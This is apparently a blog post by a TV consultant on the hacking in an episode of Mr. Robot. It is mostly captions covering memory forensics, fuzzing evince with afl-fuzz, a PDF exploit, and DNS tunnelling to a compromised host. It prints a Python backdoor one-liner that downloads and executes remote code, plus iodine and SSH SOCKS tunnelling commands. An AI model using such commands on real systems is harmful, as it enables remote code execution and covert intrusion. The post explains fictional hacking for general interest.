Mr. Robot Disassembled: eps3.8_stage3.torrent

Hunting for a rootkit

Elliot uses Volatility to hunt for evidence of a rootkit in memory -f out.mem --profile=kali linux_find_file -i 0xffff880028c740c0 -O
Output of the Volatility process listing plugin, “linux_psaux”, revealing a Python-based backdoor
python -c import urllib;exec urllib.urlopen("").read()

Crafting an exploit

Tools of the trade for vulnerability research: afl-fuzz and gdb
Original mock-up for afl-fuzz screens
Segmentation fault in evince after loading one of the malformed inputs generated by afl-fuzz
Original mock-up — Elliot doing some additional crash analysis with gdb-peda
Shellcode in Elliot’s PDF exploit for “evince”

Hacking back (with tunnels in tunnels)

A Dark Army operator takes the bait and opens Elliot’s PDF
Elliot connects to the Dark Army operator’s infected system
root@kali:~# iodined -f
Enter password:
Opened dns0
Setting IP of dns0 to
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Listening to dns for domain
root@kali:~# ssh garyhost@ -q -C -D 22381
Welcome to Ubuntu Kylin 14.04.3 LTS (GNU/Linux 3.19.0–25-generic i686)
Elliot searches through the keylogger output file. Fans of the ARG might want to try connecting to that IP…[ENTR]
Original mock-up of the Dark Army’s master control panel.
Web-based control panel for the “Beta Bot” botnet




CISO @, and tech consultant for @whoismrrobot S2 & S3.

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Ryan Kazanciyan

Ryan Kazanciyan

CISO @, and tech consultant for @whoismrrobot S2 & S3.

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